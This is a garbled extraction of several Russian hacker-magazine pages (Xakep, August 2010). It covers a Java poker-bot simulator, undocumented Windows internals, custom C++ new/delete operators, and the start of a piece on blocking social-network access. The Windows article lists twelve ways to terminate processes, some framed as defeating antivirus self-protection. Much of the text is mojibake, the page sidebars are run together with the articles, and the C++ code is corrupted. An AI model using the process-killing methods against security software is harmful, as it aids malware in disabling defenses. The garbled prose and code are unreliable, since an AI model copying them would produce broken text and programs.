торговли проверяется,не равна ли ставка текущего игрока максимальной ставке (тоесть нужно ли игроку еще вкладывать деньги в банк), и есть ли уигрока вообще деньги.Проверки перед началом торговли// óâåëè÷èâàåì íîìåð òåêóùåãî èãðîêàcurPlayer = (curPlayer + 1) % 9;if (getSinglePlayer() != -1) {break;}if (stateOfPlayers[curPlayer] == false) {continue;}if ((repeatTrade == true) && (betOfPlayers[curPlayer]После этих проверок можно переходить непосредственно к определениютекущего хода игрока. Для этого вычисляем вероятность выигрышаигрока на основе его карт, карт на столе и количества игроков ивызываем метод интерфейса ILogic для определения хода игрока:Вызов методов расчета вероятности и принятия решенийfloat p=logic.getProbabilityOfWin(handOfPlayers[curPlayer], board,getActivePlayers());int action=playersList.get(curPlayer).getAction(p,totalBet[curPlayer] + betOfPlayers[curPlayer],maxBet-betOfPlayers[curPlayer],pot,betting,maxBet==0?bigBlind:maxBet);Метод расчета вероятности вызывается со следующими параметрами:текущие карты игрока, карты на столе и количество активных (тех, ктоне сбросил карты) игроков в игре.Первый параметр в методе getAction — вероятность выигрыша;второй — сумма всех поставленных денег за прошлые круги торговлии поставленных денег на текущем круге торговли; третийпараметр — то количество денег, которое нужно поставить игроку,чтобы уравнять ставки, то есть разность между максимальнойставкой на текущем круге торговли и текущей ставкой игрока;четвертый параметр — размер банка; пятый — номер круга торговли,шестой — минимальное количество денег, которое нужнопоставить при рейзе. Здесь мы приняли его как значение максимальнойставки за текущий круг торговли или, если эта ставкаравна нулю, размер большого блайнда. После получения действияот игрока (переменная action) выполняем это действие. Алгоритмтаков: если игрок сделал fold, то делаем его неактивным; еслиcall, то сначала проверяем, может ли он поставить деньги, илисразу идет all-in, а потом выполняем требуемое действие, то естьили ставим часть денег, или ставим все, что есть; если raise, тосначала уравниваем ставку игрока до максимальной ставки, апотом ставим оставшуюся часть денег, требуемую для рейза. Вобщем случае при ставке следует проверять, есть ли требуемаясумма на счету у игрока, если нет, то ставим все оставшиеся деньги(all-in). После проведения ставок всех игроков проверяем, всели игроки поставили одинаковое количество денег. Если кто-то непоставил, и у него при этом еще есть деньги, проводим повторныйкруг торговли.ÑÈÌÓËßÖÈßПеред началом игры нужно добавить игроков. Это делается следующимобразом:Добавление игроков для игры в HoldemFormList playersList=new ArrayList();playersList.add(frame);playersList.add(new FoldLogic());playersList.add(new CautiousLogic());playersList.add(new CallLogic());playersList.add(new RationalLogic());playersList.add(new AggressiveLogic());playersList.add(new CautiousLogic());playersList.add(new AggressiveLogic());playersList.add(new RaiseLogic());Во второй строчке мы добавляем в качестве игрока текущую форму, этоозначает, что все методы принятия решений для первого игрока будут110 XÀÊÅÐ 08 /139/ 10


codingÑàéòû ïî òåìåПравила покера:http://www.pokerbonus.org.ua/menu/pravila.htmlhttp://www.tehasskiy-holdem.info/http://www.pokerstars.com/ru/poker/games/texas-holdem/Фундаментальная теорема покера:http://poker-wiki.ru/poker/Ôóíäàìåíòàëüíàÿ_òåîðåìà_ïîêåðàВики по покеру:http://poker-wiki.ru/playersList.add(new RandomLogic());playersList.add(new AggressiveLogic());playersList.add(new RaiseLogic());50 раундов на моем ноуте выполнялись около 15 минут. Впринципе, приемлемое значение. Количество денег после49 раундов следующее (начальное количество у всех одинаково— $750):1-é — $5802-é — $5903-é — $5704-é — $22205-é — $5706-é — $6807-é — $08-é — $7509-é — $790INFOinfoПока в симулятореесть неточности,но если их исправитьи сделатьхороший интерфейсHoldemForm, томожно будет использоватьего длятренировки игрыв покер.вызываться из этой формы. Он, в свою очередь, будет спрашиватьпользователя, что делать — fold, call или raise.Для начала проведем игру между человеком и компьютернымиигроками, проверим работу правил симуляции— как раздаются карты, как ходят игроки, как происходитсмена дилера. Я ошибок не нашел, но они навернякатам есть. Поэтому если ты что-то нашел, или у тебя будутпредложения по улучшению программы, пиши мне наtimreset@mail.ruПеречислю некоторые неточности в симуляции, чтобызнать, где можно доделать симулятор:1) Фиксированное количество игроков. Можно сделать отдвух до десяти.2) В HoldemForm не отображается фишка дилера, хотяметод changeDillerPosition при смене дилера вызывается.Нужно добавить на форму возле игрока-дилерапометку.3) Фиксированное количество денег в начале игры. Можносделать изменение этого значения перед игрой.4) Только целые значения большого и малого блайнов.Сделать тип float для них. Int был выбран только из-запроиз водительности… и то, наверное, это спорный выбор.5) Неправильный выбор минимального значения ставкипри рейзе. Сделать вычисление минимального рейза поправилам. Ссылка на них есть в статье.6) Фиксированное увеличение ставки при рейзе. Сделатьзначение рейза динамическим — от минимального значениядо максимального.7) При открытии карт, если есть игроки с одинаковымикартами, выигрывает только первый игрок. Можно этоисправить, чтобы выигрыш делился поровну между игроками.Хотя эта ошибка будет повторяться нечасто (все-такивероятность того, что у игроков будут две одинаковые посиле комбинации, мала), лучше все же реализовать ее поправилам. После того, как был протестирован алгоритмсимуляции, запустим несколько десятков раундов в оболочкеHoldemConsole. Игроки там распределены следующимобразом:Добавление игроков для игры в HoldemConsoleplayersList.add(new RationalLogic());playersList.add(new FoldLogic());playersList.add(new CautiousLogic());playersList.add(new CallLogic());playersList.add(new CautiousLogic());playersList.add(new AggressiveLogic());XÀÊÅÐ 08 /139/ 10После второй симуляции:1-é — $5702-é — $5603-é — $5804-é — $24505-é — $5906-é — $11107-é — $08-é — $8909-é — $0ÂÛÂÎÄТеперь самое главное — интерпретация результатов.Выше можно заметить, что самый успешный игрок— CallLogic, за ним следует RaiseLogic (в первомслучае) и AggressiveLogic (во втором случае). Почемутак? Ведь самый оптимальный алгоритм у нас — этоRationalLogic и, по идее, он должен всех обыгрывать?Да, это так, но на данном этапе этот алгоритмне учитывает одной важной составляющей — историирук, то есть того, как ходят остальные игрокипри тех или иных картах и текущих ходах игроков. Аведь история рук позволяет узнать, что значат ходыигроков — блефуют ли они (то есть колируют и рейзятсо слабыми руками) или у них действительносильные карты. Больше информации об игроках, потеореме покера, приводит к лучшим ходам. Так какон это не учиты вает, а основывается только на ставкахи размере банка, то получается, что он много рукне разыгрывает, а сбрасывает. В отличие от другихигроков — CallLogic, RaiseLogic и AggressiveLogic.Они же разыгрывают большой диапазон рук, то естьблефуют. Кстати, хотел бы сделать небольшое замечаниек своей прошлой статье. В условии определениядействия вместо SB нужно использовать minRaise,где minRaise — минимальный размер ставки, которыйнужно сделать при рейзе. Он равен последней ставкеигрока, который ходил до нас. В общем, твори, дорабатывайлогику и обязательно пиши нам письма, ведьименно благодаря твоим отзывам — от критичных идаже агрессивных до позитивных и даже благодарных:) — мы приняли решение и дальше развивать темукодинга покерных ботов. Если все пойдет нормально,то в следующей статье мы реализуем взаимодействиес клиентом покер-рума — считывание информации инажимание на кнопки. zDVDdvdНа диске тебя ждутисходники. Они снабженыподробнейшейдокументациейв формате JavaDocи комментариямив коде, так что разобратьсяс ними несоставит труда. Текстпрошлой статьилежит там же.HTTP://WWWlinksМного документациипо покеру на сайтеhttp://poker-wiki.ru111


CODINGАлександр Эккерт aleksandr-ehkkert@rambler.ruÏÎÒÀÅÍÍÛÅÑÀÄÛ WINDOWSÈññëåäóåì íåäðà îïåðàöèîííîé ñèñòåìûñ ïîìîùüþ äåáàããåðà è íå òîëüêîÓ Ñòèâåíà Êèíãà åñòü ïðîèçâåäåíèå «Ïîòàåííîå îêíî, ïîòàåííûéñàä». Íå ìîãó ñêàçàòü, ÷òî ÿ ëþáëþ òâîð÷åñòâî ýòîãî ïèñàòåëÿ, íîåñëè òû íå ÷èòàë ýòó êíèãó, íàñòîÿòåëüíî ñîâåòóþ íàéòè è ïðî÷åñòü.Î÷åíü çàíèìàòåëüíàÿ è îäíîâðåìåííî ïóãàþùàÿ êíèãà.  íåé ñîâñåé ïðèñóùåé Ñòèâåíó Êèíãó óæàñàþùåé êðàñîòîé èçëîæåíèÿðàññêàçûâàåòñÿ î òîì, êàêèå òàéíû ìîæåò õðàíèòü â ñåáå ñîçíàíèåëþáîãî ÷åëîâåêà.Вот и сегодня мы, наверное, не будем разговаривать на какую-то конкретнуютему. Мы просто немного полазаем в потаенном саду Windows,забравшись туда через потаенное окно дебаггера :). Я попробую рассказатьо скрытых местах, странностях и неизвестностях операционнойсистемы Windows. Эти знания помогут тебе, как программисту, лучшезнать, понимать и использовать эти самые потаенные места в своихгрязных целях.ÂÂÅÄÅÍÈÅДаже по прошествии многих лет, потраченных на изучение внутренностейоперационной системы и системного кодинга, понимаешь, что постичьвсе тонкости ОС вряд ли удастся. Я не имею в виду именно себя — такогомнения придерживаются многие программисты, с которыми я знаком.При этом зачастую единственным инструментом, позволяющим выпытатьте или иные секреты операционной системы, становится отладчик илидебаггер. Хотя не все любят возиться с отладчиком, положения дел это неменяет — если хочешь находить, простите за каламбур, потаенные окна вWindows — без него не обойтись. Итак, начнем.ÇÀÃÀÄÎ×ÍÛÉ ÏÀÐÀÌÅÒÐ LPRESERVED  DLLMAINВсем нам известна точка входа при старте библиотек — DllMain:BOOL WINAPI DllMain(__in HINSTANCE hinstDLL,112__in DWORD dwReason,__in LPVOID lpReserved);Принимает она (точка входа) три параметра. С первыми двумя всепонятно, но как быть с третьим? И действительно, зачем нужен этотпараметр lpReserved, если нигде в коде при инициализации библиотекион больше не используется? Оказывается не все так просто, как пытаетсяэто показать Microsoft.MSDN утверждает, что этот параметр используется при загрузке/выгрузкебиблиотеки; в частности, при статических операциях библиотеки этотпараметр содержит отличное от нуля значение. И, наоборот, при динамическихоперациях lpReserved будет равным нулю.Открою страшную тайну: lpReserved есть ничто иное, как указательна контекст стартующего процесса, который грузит библиотеку!Подробности таковы: при старте нового потока ядро ставит его вочередь для исполнения в виде APC — AsyncProcedureCall, которыйпередается в функцию LdrInitializeThunk, который вызывается Ntdll.dll.Одним из параметров, который передается LdrInitializeThunk, являетсяуказатель на структуру CONTEXT, которая описывает начальное состояниепотока — регистры, данные и т.п. После выполнения APC, контрольпередается LdrInitializeThunk. Раз уж исполнение нового потока начинаетсяс вызова ntdll!LdrInitializeThunk, то этой функции передаетсястартовый адрес, определенный функцией CreateThread. Таким образомXÀÊÅÐ 08 /139/ 10


codingАдреса загрузки ntdll.dll и kernel32.dll в процессах explorer.exe и firefox.exeстановится понятно (а уж под отладчиком — тем более!),что CreateThread должен передать через APC в вызовLdrInitializeThunk параметры старта процесса.Подведем итоги: в случае, если dwReason равен DLL_PROCESS_ATTACH (при загрузке библиотеки), lpReservedравен NULL для динамической загрузки и non-NULL длястатической загрузки.В случае, если fdwReason равен DLL_PROCESS_DETACH(при выгрузке библиотеки), lpReserved равен NUL привызове FreeLibrary и при ошибке загрузки DLL, и non-NULL — при окончании процесса.Зачем Microsoft скрывать этот факт? На самом деле, я бытоже его скрыл :). Подумай сам, сколько возможностейподмены контекста открывается при этом! Что? Ты никогдане слышал о контексте процесса? И системный вызовSetThreadContext тебе тоже ни о чем не говорит? Окей,рассмотрим. Во-первых, контроль над структурой CONTEXTдаст нам контроль над регистрами процессора. Все регистрыпроцессора при старте указываются в структуреCONTEXT (смотри описание этой структуры). Это могут бытьDEBUG-регистры для контроля над определенным приложениемили же установки перехватов вызовов функций.Или, кстати, установки флага TF в регистре EFLAGSВо-вторых, путем изменения lpReserved->Eip можно изменитьточку старта библиотеки. Эта особенность также можетбыть использована в определении версии ОС, котораяиспользуется на целевой машине путем выбора точки входав зависимости от версии ОС. Незаменимое свойство дляобеспечения переносимости кода, кстати.ÀÍÀËÎÃÈ×ÍÛÅ ÀÄÐÅÑÀ ÇÀÃÐÓÇÊÈ DLLИ действительно, если ты обращал внимание, такиебиблио теки как ntdll.dll, kernel32.dll и user32.dll для всехпроцессов всегда загружаются по одному и тому системномуадресу, хотя Microsoft это никак не объясняет. Почему?Как ты знаешь, указанные библиотеки представляютпрограммисту набор системных функций для работы ссистемой. К примеру, ntdll.dll является самой важной изюзермодных библиотек. Она представляет собой своеобразнуюзаглушку для вызова системных сервисов. И онадолжна быть загружена по одному и тому же адресу именнопо этой причине. Например, создание любого юзермодногопотока всегда происходит через вызов функцииntdll!LdrInitializeThunk. Функция ntdll!KiUserApcDispatcherXÀÊÅÐ 08 /139/ 10нужна системе для того, чтобы поставить в очередьисполнение юзермодных асинхронных вызовов. Ядрооперационной системы определяет адреса этих функцийеще на стадии инициализации системы. И, так как ядроиспользует скэшированные указатели на эти функции(для быстродействия), ntdll.dll уже не может быть загруженапо другим адресам. Kernel32.dll не может бытьзагружен по различным адресам, потому что большоеколичество предоставляемых этой библиотекой сервисовиспользуются системой для кросспроцессовых инъекцийкода. Например, kernel32.dll ответственна за обработчиксобытий консоли (что делает команда Ctrl+C в консоли,помнишь?). Так как консоль могут запустить многие программы,адрес обработчика Ctrl+C должен быть одним итем же. Ну а user32.dll постоянно загружается по одномуи тому же адресу по той простой причине, что онапредоставляет кучу сервисов, используемых win32k.sys— драйвера, реализующего оконную подсистему Windows.Указатели на эти функции win32k.sys получает черезвызов NtUserInitializeClientPfnArrays во время загрузки.ÎÄÍÎÏÎÒÎ×ÍÎÑÒÜ? ÍÅ ÒÓÒ-ÒÎ ÁÛËÎ!Часто ли ты используешь в своих программах отдельныепотоки? Если программа простая, и ей не требуется обрабатыватьбольшие массивы данных, вряд ли она для тебябудет многопотоковой. Но это только на первый взгляд.Потому что многие (если не все) Win32-приложения насамом деле являются многопотоковыми программами,даже если их разработчик утверждает обратное. К примеру,при старте программы сервисом подсистемы CSRSS впрограмме по умолчанию создается отдельный поток дляобработки консольных событий типа Ctrl+C/Ctrl+Break.Во-вторых, большинство Win32-API-функций длявыполнения своего кода используют отдельные потоки.Например, вызов WSAAsyncGetHostByName исполь зуетсинхронный вызов gethostbyname в отдельном потоке,после чего возвращает результаты запрашивающемучерез оконные сообщения.ÐÀÇÍÈÖÀ ÌÅÆÄÓ ÍÀÒÈÂÍÛÌÈ X86-ÂÅÐÑÈßÌÈ ÁÈÁËÈÎÒÅÊ È ÈÕ WOW64-ÀÍÀËÎÃÀÌÈМеханизм Wow64 включает в себя полный набор 32-битныхсистемных dll, реализующий Win32 API-функцииDVDdvdНа DVD ты сможешьнайти последнююверсию WinDBG,незаменимого отладчикапод ОС Windows,а также кое-какойинтересный код, которыйпозволит тебесделать свою системуболее защищенной.HTTP://WWWlinksДля более конкретногоизучения внутренностейОС Windowsобычных форумовнедостаточно.Очень часто золотыекрупинки можноотыскать в блогахсистемных программистов,таких какwww.alex-ionescu.com или http://j00ru.vexillium.org.113


CODINGWow64.dllАрхитектура wow6432-разрядные EXE-DLL32-разрядная Ntdll. dllWow64c pu.dll64-разрядная Ntdll. dllNtoskrnl.exe(для их использования Wow64-программами). Так какова же разницамежду «нормальными» 32-битными dll и их Wow64-версиями?На 64-битных версиях Windows разницы между такими библиотекаминет — большинство dll являют собой 32-битные копии с 32-битнойверсии операционной системы. К примеру, Wow64-библиотекаws2_32.dll на Vista x64 — тот же самый файл, что и 32-битная ws2_32.dll на Vista x86. Вместе с тем, некоторые dll отличаются очень значительно,к примеру, ntdll.dll.Если мы глянем сквозь призму отладчика на x86 версию ntdll.dll, толегко сможем увидеть, что системный вызов уходит в ядро системычерез так называемый SystemCallStub в структуре SharedUserData:lkd> u ntdll!NtClosentdll!ZwClose:mov eax,30hmov edx,offset SharedUserData!SystemCallStubcall dword ptr [edx]ret 4В Wow64-версии ntdll картина разительно отличается. Вызов системногосервиса происходит через поле по смещению 0xc0 в 32-битнойструктуре TEB (Thread Environment Block):lkd> u ntdll!NtClosentdll!ZwClose:mov eax,0Chxor ecx,ecxlea edx,[esp+4]call dword ptr fs:[0C0h]ret 4Wow64win.dllВ свою очередь, раскрываем структуру TEB и там по смещению 0xc0видим поле, помеченное как “WOW32Reserved”:lkd> dt ntdll!_TEB+0x000 NtTib : _NT_TIB[skip...]+0x0c0 WOW32Reserved : Ptr32 VoidКстати, в качестве лирического отступления от темы хочу заметить,что если ты планируешь использовать 32-битные программы подWow64, будь очень внимателен при использовании таких функций какGetThreadContext/SetThreadContext, и вот почему. Данные функциитребуют дополнительных привилегий при исполнении в контекстеWow64. В частности, им нужен доступ к данным THREAD_QUERY_INFORMATION.12 ÑÏÎÑÎÁΠÇÀÂÅÐØÈÒÜ ÏÐÎÖÅÑÑЧтобы ты всегда мог выйти победителем из социалистического соревнованияна тему «Кто знает больше способов грохнуть процесс», проведенногов кругу друзей, любимый журнал заботливо подгоняет тебецелых 12 методов:1) Использовать функции TerminateProcess или NtTerminateProcess —понятно без лишних слов, правда, они всегда перехватываются аверамидля своей защиты;2) Использовать CreateRemoteThread с вызовом ExitProcess. Для этоготебе нужно будет найти адрес ExitProcess внутри того процесса, которыйты хочешь завершить;3) Использовать комбинацию NtQuerySystemInformation или toolhelp32с вызовом TerminateThread or NtTerminateThread. Все предельно просто— находишь все потоки искомого процесса и завершаешь их вызовомTerminateThread (NtTerminateThread);4) Вызвать NtQuerySystemInformation или toolhelp32, после чего вызовомSetThreadContext установить регистр EIP так, чтобы он указывал наExitProcess;5) В цикле от 0 до 4096 вызвать функцию DuplicateHandle с параметрамиTargetProcess и TargetProcessHandle равными NULL, а Optionsравным 0x1. Это закроет если не все, то почти все хендлы открытогопроцесса. Что интересно — этот метод прекрасно действует противсложных программ и систем, типа антивирусов, однако не сможет грохнутьnotepad.exe;6) Довольно громоздкий способ — можно вызвать последовательноCreateJobObject, AssignProcessToJobObject и TerminateJobObject;7) Сложный способ, больше известный в среде дебаггеров — вызываемпоследовательно NtCreateDebugObject для процесса, затемNtDebugActiveProcess, после чего закрываем хендл дебаг-объекта(читай — процесса) вызовом CloseHandle;8) Оригинальный способ — последовательно для всего региона памятипроцесса вызываем VirtualQueryEx с параметром PAGE_NOACCESS иVirtualProtectEx. Процесс тихо умрет, когда все страницы памяти станутнедоступными;9) Топорный способ — открываем память процесса VirtualQueryEx,после чего вызовом WriteProcessMemory начинаем писать в памятьпроцесса всякую нечитаемую фигню;10) Еще один оригинальный способ — до посинения вызыватьVirtualQueryEx. Когда кончится память под выделение, процесс умретсам;11) Ядерная функция — PsTerminateProcess (PspTerminateProcess). Таккак ядром она не экспортируется, вызвать ее можно только путем сканированияядра на предмет определенной сигнатуры;12) Еще одна неэкспортируемая фукнция —PspTerminateThreadByPointer. Ищется в ядре аналогичным образом,путем сканирования памяти.Кстати, код, реализующий поиск и перехватPspTerminateThreadByPointer для защиты твоего процесса от убийстватаким способом, ты сможешь найти на диске.ÇÀÊËÞ×ÅÍÈÅЧитать доки, бесспорно, очень полезно. Поскольку они — рулез.Однако практика показывает, что самые вкусности и сочные кускиОС часто бывают недокументированными, и разработчики Windowsочень неохотно раскрывают нам эти секреты. Но все тайное всегдастановится явным. Так что дерзай! Удачного компилирования, и дапребудет с тобой Сила! z114 XÀÊÅÐ 08 /139/ 10


CODINGdeeonis deeonis@gmail.comКОДЕРСКИЕТИПСЫ И ТРИКСЫÏðàâèëà êîäèíãà íà C++ äëÿ íàñòîÿùèõ ñïåöîâÑ++ ÈÑÊÎÍÍÎ Ñ×ÈÒÀÅÒÑß ÃÈÁÊÈÌ, ÍÎ ÑËÎÆÍÛÌ, ßÇÛÊÎÌÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß. ÏÎ×ÅÌÓ? ÏÎÒÎÌÓ ×ÒÎ ÒÀÊ ÎÍÎ È ÅÑÒÜ :). ÝÒÎÉ ÑÒÀÒÜÅ ÌÛ ÓÇÍÀÅÌ ÎÁ ÎÏÅÐÀÒÎÐÀÕ NEW È DELETE, Î ÒÎÌ,ÊÀÊ ÏÈÑÀÒÜ ÑÎÁÑÒÂÅÍÍÛÅ ÏÐÎÖÅÄÓÐÛ ÓÏÐÀÂËÅÍÈß ÏÀÌßÒÜÞÈ ÊÀÊ ÍÅ ÑÎÂÅÐØÈÒÜ ÓÆÀÑÍÓÞ ÎØÈÁÊÓ, ÇÀÍÈÌÀßÑÜ ÝÒÈÌÍÅËÅÃÊÈÌ ÄÅËÎÌ.Многие кодеры, выбирая C++ в качестве основного языка для написаниясвоих программ, хотят тем самым добиться от них максимальнойэффективности, как в плане потребления ресурсов, так и в плане скоростивыполнения. Именно написание собственных операторов для работы спамятью дает такую возможность. Конечно, в наше время, когда повсеместноиспользуются сборщики мусора (например, в Java или C#), сам посебе вызов специальных команд для выделения и освобождения памятивыглядит немного странно, но именно благодаря этим командам любойпрограммист может значительно улучшить производительность своегокода.Для того, чтобы написать правильный код, который будет работать с памятью,надо понимать, как организованы процедуры управления этой самойпамятью в C++. Также следует помнить о многопоточности и проблемах,связанных с ней. Куча — это модифицируемый глобальный ресурс, доступк которому должен быть синхронизирован. Если игнорировать этот факт,то рано или поздно все сломается, и потом будет очень сложно разобраться,в чем же собственно дело. Поэтому при написании собственногоменеджера памяти всегда надо помнить о возможности одновременногодоступа к куче из разных потоков программы.Êîãäà èìååò ñìûñë çàìåíÿòünew è delete?Для начала давай разберемся, стоит ли нам вообще писать собственныепроцедуры работы с памятью. Чаще всего new и delete переписывают длятого, чтобы обнаружить так называемые ошибки применения. К такимошибкам относятся, например, утечки памяти. Они могут случаться как иззапростой невнимательности программиста, так и вследствие высокогоуровня сложности структуры кода. Попросту говоря, для динамическивыделенной памяти не всегда вызывается delete. Бывает и другая крайность,когда для одного и того же блока из кучи delete вызывается два иболее раз. В этом случае поведение программы предсказать невозможно.Всего этого можно избежать, если пользовательские функции по работеXÀÊÅÐ 08 /139/ 10с кучей будут вести список выделенных блоков памяти. Еще одной частовстречающейся ошибкой применения является переполнение буфера.Сколько хакерских атак было успешно выполнено через такую вот старую,как мир, дыру? Антагонист переполнения — это запись с адреса, предшествующегоначалу выделенного блока. Самописная версия new может запрашиватьблоки большего размера и записывать в начало и конец такихблоков специальную сигнатуру. Оператор delete может проверять наличиеэтой сигнатуры и, если ее не окажется на месте, поднимать тревогу.Второй причиной, из-за которой можно смело переписывать процедурыуправления памятью, является производительность. Стандартныеверсии операторов new и delete, поставляемые вместе с компилятором,«слишком» универсальны. Они должны одинаково хорошо работатькак для кода, выполнение которого занимает меньше секунды, так и дляпрограмм, аптайм которых составляет месяцы. Эффективно выделять какнесколько больших блоков памяти, которые существуют на протяжениивсей работы программы, так и множество маленьких, которые «живут»сотые доли секунды. Стандартные функции работы с кучей должны уметьэффективно бороться с ее фрагментацией, поскольку даже если суммарныйобъем свободной памяти будет достаточно велик, высокая степень ее«раздробленности» может помешать выделению нужного блока.Теперь понятно, почему дефолтные new и delete не всегда оказываютсябыстрыми и эффективными — используются слишком общие алгоритмыработы с памятью, которые призваны учесть все нюансы. В некоторыхслучаях написание собственных операторов работы с памятью помогаетзначительно ускорить выполнение кода, а также уменьшить расход ресурсов.Так, например, самописные new и delete будут полезны для ускоренияпроцесса распределения и освобождения памяти, для уменьшениянакладных расходов, характерных для стандартного менеджера памяти;чтобы компенсировать субоптимальное выравнивание в распределителяхпо умолчанию (об этом чуть ниже), чтобы сгруппировать взаимосвязанныеобъекты друг с другом и т.д.Еще очень часто new и delete переписывают для сбора статистики обиспользуемой памяти. В высоконагруженных приложениях часто ока-115


CODINGCODINGЛЕЙТЕНАНТ РОМАН «PREDIDENTUA» ХОМЕНКО /HTTP://TUTAMC.COM/Программирование — нелегкая штука, а на C++ —тем болеезываются очень полезными знания о том, как используется память: какраспределены выделяемые блоки по размерам, каково время их жизни,какой порядок выделения и освобождения блоков характерен для кода,изменяется ли «потребление» динамической памяти на разных стадияхвыполнения программы, и есть ли вообще какая-либо закономерность.На все эти вопросы помогут ответить собственные операторы работы спамятью.Ïðèìåð ñîáñòâåííîé âåðñèè newНаписать собственную версию операторов new и delete достаточно просто.Рассмотрим, например, как можно реализовать глобальный операторnew с контролем записи за границами выделенного блока. Правда, впримере ниже есть несколько недостатков, но об этом далее.Пользовательская версия оператора newstatic const int signature = 0xADADEAEA;typedef unsigned char Byte;void *operator new(std::size_t size)throw(std::bad_alloc){using namespace std;size_t realSize = size + 2 * sizeof(int);void *pMem = malloc(realSize);if (!pMem)throw(bad_alloc);*(static_castpMem)) = signature;*(reinterpret_cast(static_cast(pMem)+ realSize — sizeof(int))) = signature;}116return static_cast(pMem) + sizeof(int);Здесь мы сначала с помощью функции malloc выделяем блок памяти надва слова больше, чем запрашивается в передаваемом параметре, затемзаписываем сигнатуру в начало и в конец выделенного куска памяти, послечего возвращаем указатель на нее.Вроде все хорошо, но мы забываем о такой важной вещи, как выравнивание.Многие компьютерные архитектуры требуют, чтобы данные определенныхтипов располагались в памяти по вполне конкретным адресам.Например, архитектура может требовать, чтобы указатели располагалисьпо адресам, кратным четырем, а данные типа double были выровнены награницу двойного четырехбайтного слова. Если не соблюдать эти требования,то возможны аппаратные сбои или замедление работы системы.C++ требует, чтобы все указатели, возвращаемые оператором new, былиОтличная книга по стандарту С++выровнены для любого типа данных. Функция malloc удовлетворяетэтим условиям, но, поскольку мы записываем в начало блока сигнатуру,и, следовательно, возвращаем указатель, смещенный на длину этойсигнатуры, то нет никаких гарантий, что это безопасно. Если мы выделимпамять под переменную типа double на компьютере с архитектурой, где intзанимает четыре байта, то оператор new, приведенный в примере, скореевсего вернет неправильный указатель, что в итоге может завершитьсяаварийной остановкой программы или ее сильным замедлением.Надеюсь, теперь понятно, почему правильное выравнивание так важно.Но не менее важным является требование к операторам new, согласно которомувсе они должны включать цикл вызова функции-обработчика new.Ôóíêöèÿ-îáðàáîò÷èê newКогда оператор new не может удовлетворить запрос на выделение запрошенногоколичества памяти, он возбуждает исключение. В старыевремена оператор new возвращал ноль и следы подобного поведениясохранились в некоторых компиляторах и по сей день. Основная же массасовременных компиляторов генерирует код с new, поддерживающимвызов исключений.Перед тем как вызвать исключение после неудачной попытки выделенияпамяти, оператор new должен выполнить код функции-обработчика (newhandler),которая определяется пользователем. Чтобы задать обработчик,нужно вызвать стандартную библиотечную функцию set_new_handler,объявленную в заголовочном файле следующим образом:Объявление set_new_handlernamespace std {typedef void (*new_handler) ();XÀÊÅÐ 08 /139/ 10


поймать в месте вызова оператора. А еще можно вообще ничего не делатьи завершить программу с помощью abort или exit, что, собственно, мы исделали в примере. До этого момента мы все время говорили о глобальнойзамене оператора new, но определить специфичный код выделенияпамяти можно лишь для объектов определенного типа. Сделать этодостаточно просто, нужно лишь в каждом классе написать свои версииset_new_handler и new. Определенная в классе set_new_handler позволитпользователям задать обработчик new для класса, а принадлежащийклассу operator new гарантирует, что при выделении памяти для объектовэтого класса вместо глобального обработчика new будет использован тот,что определен в данном классе.Правильное оформление трюков — минус половинабаговnew_handler set_new_handler(new_handler p)throw();}Собственный new для классаclass Widget {public:static std::new_handler set_new_handler(std::new_handler p) throw();static void *operator new(std::size_t size)throw(std::bad_alloc);Как видно, new_handler — это typedef для указателя на функцию,которая не принимает никаких параметров, а set_new_handler —функция, которая как раз получает в качестве параметра переменнуютипа new_handler. Полученный указатель на функции впоследствиивызывается оператором new в случае неудачной попыткивыделения памяти. Предыдущий указатель на обработчик такжевозвращается (set_new_handler). В итоге можно получить примерноследующий код:Использование set_new_handlervoid outOfMem(){std::cerr


SYN/ACKСергей «grinder» Яремчук grinder@synack.ru, _ssh3r1ff- ssh3r1ff@gmail.comВход в социалки —на амбарныйзамок!ЕЩЕ НЕСКОЛЬКО СПОСОБОВ КОНТРОЛЯ ТРАФИКА И УПРАВЛЕНИЯДОСТУПОМРабочий день большинства юзеров начинается с просмотра сообщенийв «Одноклассниках», чтения новостей и посещения любых других ресурсов,не связанных с выполнением своих служебных обязанностей. Некотороевремя начальство смотрит на это сквозь пальцы, но в один прекрасныймомент поступает команда: «Все блокировать!».ПОДРУЧНЫЕ СРЕДСТВА WINDOWSÂñòðîåííûé â ïîñëåäíèå âåðñèè Windows áðàíäìàóýð â ðåæèìå ïîâûøåííîéáåçîïàñíîñòè óæå îáëàäàåò äîñòàòî÷íûì ôóíêöèîíàëîì, ïîçâîëÿþùèìçàáëîêèðîâàòü íóæíûé ïîðò è óäàëåííûé IP-àäðåñ äëÿ âõîäÿùèõè èñõîäÿùèõ ñîåäèíåíèé. Î÷åíü óäîáíî, ÷òî íàñòðîéêè advfirewallïðîèçâîäÿòñÿ íå òîëüêî â êîíñîëè MMC (ëîêàëüíî èëè óäàëåííî), íî èïîñðåäñòâîì ãðóïïîâûõ ïîëèòèê. Òàê, â äîìåííîé ñðåäå ìîæíî ïðèìåíÿòüåäèíûå óñòàíîâêè, êîòîðûå àâòîìàòè÷åñêè óñòàíàâëèâàþòñÿ è ðàñïðîñòðàíÿþòñÿñ îäíîé òî÷êè. Äëÿ ðåøåíèÿ ïîñòàâëåííîé çàäà÷è ìîæåòïîäîéòè è netsh, ïîñêîëüêó îí óìååò óïðàâëÿòü ïðàâèëàìè âñòðîåííîãîáðàíäìàóýðà è ïîääåðæèâàåò âîçìîæíîñòü âûïîëíåíèÿ êîìàíä íàóäàëåííîì õîñòå. Ïðè÷åì ñîçäàííûå â netsh ïðîôèëè ìîæíî ýêñïîðòèðîâàòüâ ôàéëû ñ ðàñøèðåíèåì *.wfw, à çàòåì ïðèìåíèòü íà âñå ñèñòåìûëîêàëüíîé ñåòè. Íóæíî ïðèçíàòü, ÷òî íàñòðîéêó advfirewall íåëüçÿíàçâàòü ïðîçðà÷íîé. Áîëåå òîãî, áëîêèðîâêó ïî IP ëó÷øå ïîäêðåïëÿòüçàïðåòîì ïî URL, îäíàêî òàêîé âîçìîæíîñòè ðàçðàáîò÷èêè íå ïðåäóñìîòðåëè.Õîòÿ çäåñü âñïîìèíàåì, ÷òî IE ïîçâîëÿåò çàäàòü ñïèñîê ñàéòîâ,êîòîðûå äîëæíû áëîêèðîâàòüñÿ: äîñòàòî÷íî îòêðûòü áðàóçåð, ùåëêíóòüâ ñòðîêå ñîñòîÿíèÿ â ïîëå Áåçîïàñíîñòü, â îêíå íàñòðîåê âûáðàòü «Îãðàíè÷åííûåóçëû» è íàæàòü êíîïêó «Óçëû», ÷òîáû äîáàâèòü 